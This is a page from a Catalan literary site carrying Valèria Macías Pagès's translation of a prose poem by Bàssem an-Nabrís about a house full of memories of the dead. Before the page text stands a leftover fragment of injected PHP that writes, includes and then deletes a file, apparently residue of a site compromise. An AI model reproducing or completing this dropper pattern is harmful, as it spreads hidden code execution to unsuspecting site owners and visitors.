");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Oh, pare… se’n van anar als núvols
Facebook Twitter
Portada > Literatura universal en català > Bàssem an-Nabrís

Oh, pare… se’n van anar als núvols

Traducció de Valèria Macías Pagès

Oh, pare… se’n van anar als núvols i jo
em vaig quedar per a recordar-los. No hi
ha cap dona, ni si em somriu la fortuna,
que em faci oblidar, que em tregui de la
casa dels records. No hi ha res. Les seves
coses estan a l’abast del pulmó. Gairebé
puc tocar els seus alens amb la mà, amb
les ungles. Gairebé, de tan ple d’ells que
estic, se’m buida l’ànima. Van ser aquí.
Aquí van viure. Aquí, l’últim a morir, va
deixar mig ou de l’esmorzar. Va deixar el
llit arrugat, la porta entreoberta i l’aire
contingut. Gairebé els puc tocar un a un:
els que en aquesta casa antiga van morir
fa un segle, i els que van morir fa un any.
Ai, que difícil que és viure, fidelment, a la
casa dels records!

Bàssem an-Nabrís, Totes les pedres. Calonge [Mallorca]: AdiA, 2014, p. 65.
Bàssem an-Nabrís, 2012. Foto: Víctor P. de Óbanos.
Fragments
Amor
Valèria Macías Pagès
Oh, pare… se’n van anar als núvols
Valèria Macías Pagès
Prevenció
Valèria Macías Pagès
Bibliografia
Cercador d’autors
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Amb el suport de: